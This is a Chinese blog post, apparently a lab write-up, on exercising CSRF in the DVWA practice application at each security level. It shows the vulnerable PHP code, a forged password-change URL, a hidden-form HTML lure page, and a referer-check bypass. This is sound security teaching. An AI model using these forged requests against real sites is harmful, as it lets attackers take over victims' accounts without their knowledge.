DVWA练习之CSRF

DVWA练习之CSRF

本博客将记录在web安全问题中一种常见的漏洞——“CSRF”漏洞的实践演练。首先阐述CSRF漏洞的概念,原理,最后展示基于DVWA的各种等级的CSRF。


CSRF概念

CSRF(cross-site request forgery):跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。


DVWA跨站请求伪造

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

部署好DVWA后,登陆DVWA首先选择练习的难度等级。DVWA中共分为四种安全级别:Low,Medium,High,Impossible。然后选择练习的模块,这里我们选择CSRF(跨站请求伪造)模块。


Low等级

这里写图片描述
选好等级后,进入CSRF(跨站请求伪造)模块。
这里写图片描述
发现是修改密码的界面,那么首先按照正常的流程修改密码。
这里写图片描述
页面显示密码已经改变,说明我们修改密码成功。而且url发生了改变变成了
DVWA-1.9/...../csrf/?password_new=test&password_conf=test&Change=Change#
我们查看DVWA的源代码


<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

?>

发现代码只判断了$pass_new == $pass_conf是否成立没有其他防范CSRF的措施。
因此我们要利用以上漏洞:
(1)构造链接:将之前的url改成http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
用户点击后密码会直接改成password(但是现在一眼就可以看出这是修改密码的操作而且点击进入后是修改密码成功的页面)
(2)构造页面:构造一个虚假的点击进入的页面。

<html>
    <body>
        <from action="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/">
            <input type="hidden" name="password_new" value="password"/>
            <input type="hidden" name="password_conf" value="password"/>
            <input type="hidden" name="Change" value="Change"/>
            <input type="submit"  value="美女图片"/>
        </from>
    </body>
</html>

其url为http://127.0.0.1/csrftest.html点击后效果如图
这里写图片描述
而且密码成功修改,说明CSRF漏洞测试成功!

Medium等级(校验referer)

我们按照Low等级的方法发现结果如下
这里写图片描述
显示修改密码失败,说明之前的方法已经行不通了。我们查看源代码。

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?>

其中函数eregi(pattern,string)的功能是检查string中是否含有pattern(不区分大小写),若有返回ture,若没有则返回false。
也就是说Medium等级在判断$pass_new == $pass_conf之前还检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要访问的主机名)。
这里写图片描述
过滤规则是http包头的Referer参数的值中必须包含主机名

我们可以将攻击页面命名为127.0.0.1.html(页面被放置在攻击者的服务器里)就可以绕过了


High等级(随机Token)

查看服务器源代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。可以利用High级别的XSS漏洞协助获取Anti-CSRF token。


Impossible等级

这里写图片描述
impossible等级页面已经发生了变化,需要用户输入当前密码才能够修改密码,简单粗暴可以完全确保当前用户是本人,从而防止了CSRF漏洞。

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值